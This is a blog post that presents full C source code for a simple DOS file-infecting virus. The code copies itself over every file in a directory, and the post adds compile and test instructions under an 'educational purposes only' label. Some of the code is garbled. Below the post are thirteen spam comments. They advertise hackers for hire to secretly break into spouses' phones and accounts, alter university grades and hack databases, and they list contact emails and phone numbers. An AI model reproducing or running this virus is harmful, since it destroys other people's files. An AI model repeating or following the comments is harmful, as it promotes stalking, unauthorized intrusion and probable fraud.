Sharing is Caring.

Share on Facebook Share on Twitter
Related Posts with Thumbnails

How to Create a Computer Virus?



This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include
#include
#include
#include
#include
#include

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4.All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY

13 Response to How to Create a Computer Virus?

  1. Most of these so-called hackers are imposters, so be warned I’ve been ripped off 3 times already, thankfully my friend gave me a USA reliable contact, he works with discretion and delivers, he does all sorts of hacking and help me hack my ex Phone remotely and cloned it so that I could monitor all his messages and calls, I would prefer to let his services speak for itself, you can contact WILLIAM via Email- williampetersonhacklord@gmail .com, Whatsapp +1 515-992-6464.text or call: +1 530-738-5508
     You can also meet him if you are in the state


  2. Even though i have discourage my friends severally about hiring a private investigator to catch their cheating partners,
    i resorted to hiring one during my divorce. My husband hid his affair too well and i had no evidence to prove his infidelity
    to the court so i had to go back to my friend who am grateful didn’t listen to me back then to refer me to the hacker she
    is working with and i told him my problem. His service are topnotch which made working with him very easy,he got me everything
    i needed withing 24 hours and it was amazing, i paid upfront cause the trust was already there and i got great results because
    i currently have my husband’s messages diverted to my phone, call logs, Facebook messenger, WhatsApp,instant chat,Viber, Skype,
    password, retrieved all his deleted messages.The best part about his service is that you do not need any physical access or
    installation to the phone you wish to hack, so it was all hell break loose for my husband when i presented the evidence in court
    and i got everything i deserve. you can contact him for help him via call or text him +1860-971-0435 WhatsApp,
    call or text +1214-810-3457
    You can also contact him via his mail donarldjacksoncyberhost@gmail.com
    Tell him Hillary refer you.

  3. I appreciate William Peterson for a job well done, he helped me in hacking my husband's phone without his knowledge and I was able to catch him red handed. To be candid I don’t derive joy in praising hackers but William Peterson is extremely good and straight forward. I can vouch for him, he would give you a genuine and reliable job. Contact him via his mail Williampetersonhacklord@gmail.com, whatsapp +1515-992-6464 or Call/Text +1530-738-5508 
    Tell him Lizzy refer you

  4. Life is not a bed of roses and there is no relationship with a smooth ride. Nevertheless you need to check mate the acts, attitude and the kind of love your partner got for you. You can hardly get to know all of the actions of your partner until you give it a shot to try to know if truly your partner is faithful or not.
    I noticed some strange attitude in the behavior of my man which is awkward and I’ve never got such feeling about him. I confronted him and all my pestering to get to know the fact about the strange behavior he puts up these days to no avail.
    This got me really worried as he keeps his phone  and at night he hides the phone discretely which got me suspicious and moody all day long. I spoke with a friend and she introduced me to an IT specialist ( brownrobinsongreathacker (@) GmaIL, C o m ) who helped me tap into his phone, he recovered all of his recent and deleted files ranging from text messages, call logs, pictures, videos and many more. I got all details of the pictures they took on their dates, location of several places they’ve been to and lot more. I got depressed and dismay, I never believed he could cheat on me despite all we’ve been through over the years and how I’ve showed him love as well as being faithful.
    The concrete evidence I got helped me through our divorce, getting to know the truth restored my happiness and rest of mind.
    If you need similar breakthrough from shackles of love and get the peace of mind you deserve, you can text, call or WhatsApp +13467107593 brownrobinsongreathacker on
    Email - brownrobinsongreathacker@gmail.com
    Khloe

  5. my girlfriend was very smart at hiding her infidelity from me due to some selfish reasons. So i had
    no proof for weeks while hurting myself during this process. Luckily i was refered to this private
    investigator which the result was awesome and top nptch.All my girlfriend's dirty chats, facebook, whatsapp,
    instagram, and even phone conversation was directed to my cell phone, if your girlfriend, boyfriend, wife
    or husband are expert at hiding his or her cheating adventures contact this fast and trusted link.
    donarldjacksoncyberhost@gmail.com or +1214-810-3457 on whatsAPP, call or text +1860-871-0435

  6. Grace Joe says:

    i've had the feeling for a while that my husband was sneaking behind my back so i contacted this hacker i met online a couple of weeks ago. he helped me gain access to his text messages, calls and mails. he is very reliable and his prices are quite fair. I just want to say a very BIG thank you to him and you definitely should contact him if you require hacking services. contact - brownrobinsongreathacker@gmail.com ot text +1(346)710-7593

  7. I was not paid to do this, But I did promise him to give him testimony on posting as many pages as possible. It was absolutely amazing when my neighbor Garcia helped me hire a trusted hacker Mr Robinson Best spy [brownrobinsongreathacker@GMAIL COM] who helped me gain access to my wife Facebook account and monitor her call logs, you can also count on him with any form of hacking services such as; IG, viber, text messages,iMessage,i cloud Skype, whats-app,pay-pal and so on...contact the best.
    You can also contact him via call, text or WhatsApp +1(346)710-7593

  8. I have been worried about my wife movement and activities as I suspected

    that she was cheating on me. I had no one to talk to than my best friend

    who I never knew had experienced such too. He told me he had hired this hacker
    markpowelcyberghost@gmail.com

    So I decided to hire him and he was able to hack my wife phone without her even knowing it .
    You can also contact him via call, text,or WhatsApp +16193671793
    Mark Williams
    Thanks

  9. A true hacker which i read about him online and a lot of people keep rating him and given testimony about him.He handle my job professionally .Now I'm giving this testimony from my first result which i wouldn't have got without his help,i promise to appreciate his job status to the wold for the great help he did to me.contact him on his email for more info about any hacking related job today. 
    brownrobinsongreathacker@gmail.com
    Call,text or WhatsApp +1(346)710-7593

  10. Sharon says:

    I got access to my husband’s mobile phone through the help of Mr Robinson . He helped me in Hacking my husband’s iPhone and i got all his text messages, call details, WhatsApp details, Facebook messenger. I’m so sad he is cheating on me. I’m sending all evidence to my lawyer.
    Contact him via his mail - brownrobinsongreathacker@gmail.com
    Call, text or WhatsApp +1(346) 710-7593

  11. Hello, if you even require a legit hacker to help monitor any cell phone remotely, contact deadlyhacker01@gmail.com or whatsapp: +1 3478577580
    They're very reliable.


  12. My boyfriend was a cheat and heartless human keeping secrets from me was his number one priority and aim
    But he has been of great help to me i got his whatsapp and facebook messages on my phone but past and present
    his gmail account, FB messenger and his entire Text messages.
    I'm happy markpowelcyberghost@gmail.com, been able to help you can also get in touch WITH HIM VIA call, text, or WhatsApp+1619-367-1793 Tell him Racheal refer you.

  13. CONTACT: onlineghosthacker247 @gmail. com
    -Find Out If Your Husband/Wife or Boyfriend/Girlfriend Is Cheating On You
    -Let them Help You Hack Any Website Or Database
    -Hack Into Any University Portal; To Change Your Grades Or Upgrade Any Personal Information/Examination Questions
    -Hack Email; Mobile Phones; Whatsapp; Text Messages; Call Logs; Facebook And Other Social Media Accounts
    -And All Related Services
    - let them help you in recovery any lost fund scam from you
    onlineghosthacker Will Get The Job Done For You
    onlineghosthacker247 @gmail. com
    TESTED AND TRUSTED!

Post a Comment

Interesting Site

Related Posts with Thumbnails
Related Posts with Thumbnails

Display Newer Trick on Facebook